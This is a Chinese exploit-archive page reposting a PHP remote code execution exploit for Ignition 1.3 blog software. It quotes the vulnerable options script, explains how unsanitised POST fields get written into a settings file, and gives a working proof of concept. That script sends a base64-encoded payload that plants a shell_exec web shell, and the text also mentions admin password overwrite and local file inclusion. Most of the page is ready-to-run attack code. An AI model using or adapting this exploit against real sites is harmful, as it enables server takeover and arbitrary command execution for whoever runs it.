首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Ignition 1.3 Remote Code Execution Exploit
来源:vfocus.net 作者:cOndemned 发布时间:2010-12-31  

<?php

/*

Ignition 1.3 Remote Code Execution Exploit
by cOndemned
download: http://launchpad.net/ignition/trunk/1.3/+download/ignition-1.3.tar.gz


source of i-options.php

 1. <?php
 2. session_start();
 3. if ($_POST['submit']) {
 4. if ($FH = @fopen('data/settings.php', 'w')) {
 5.  @fwrite($FH, '<?php $pass = "'.$_POST['pass'].'";
 6. $uri = "'.$_POST['uri'].'";
 7. $suri = "'.$_POST['suri'].'";
 8. $blogtitle = "'.$_POST['title'].'";
 9. $description = "'.$_POST['description'].'";
 10. $postid = "'.$_POST['id'].'";
 11. $author = "'.$_POST['author'].'";
 12. $skin = "'.$_POST['skin'].'";
 13. $gravatar = "'.$_POST['gravatar'].'";
 14. $twitter = "' . $_POST['twitter'] . '";
 15. $identica = "' . $_POST['identica'] . '";
 16. $book = "' . $_POST['book'] . '";
 17. $game = "' . $_POST['game'] . '";
 18. $language = "' . $_POST['lang'] . '";
 19. 
 20. require_once("template.php");
 21. require_once("lang/$language.php");');
 22.  #fclose($FH);
 23. }

We can overwrite setting.php by simply sending specially crafted POST request,
and put some evil code into one of the variables. After running my PoC line with
$language var will be:

 $language = "en";echo @shell_exec($_GET['cmd']);$wtf="";

Where "en" is default language and without filling this field correctly admin
will see error while trying to access blog index.

other attacks scenarios:

 - attacker can use $_POST['language'] variable to exploit Local File
 Inclusion (lines 18 and 21)

 - fill $_POST['pass'] with new password (md5 hashed) to overwrite admins
 password

 - etc...
*/


$target = 'http://localhost/ignition/';

$post = array
(
 'uri'  => $target,
 'suri'  => $target,
 'description' => 'Just another lame php blog script owned :<',
 'skin'  => 'default',
 'lang'  => base64_decode('ZW4iO2VjaG8gQHNoZWxsX2V4ZWMoJF9HRVRbJ2NtZCddKTskd3RmPSI='),
 'submit' => 1
);

$sock = curl_init();

curl_setopt_array
(
 $sock,
 array
 (
  CURLOPT_URL   => "$target/i-options.php",
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_POST  => true,
  CURLOPT_POSTFIELDS => http_build_query($post)
 )
);

curl_exec($sock);
curl_close($sock);

echo "Check: $target/data/settings.php?cmd=[system_command]";

?>


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Word RTF pFragments
·Chilkat Software FTP2 ActiveX
·Digital Music Pad 8.2.3.4.8 SE
·QuickPHP Web Server Arbitrary
·Mongoose 2.11 Denial Of Servic
·Google Gears WiFi Geolocation
·QuickPHP Web Server 1.9.1 Dire
·HP Photo Creative 2.x audio.Re
·httpdASM 0.92 Directory Traver
·Bywifi 2.8.1 Stack Buffer Over
·TYPSoft FTP Server (v 1.10) RE
·Amoeba CMS v1.01 multiple remo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved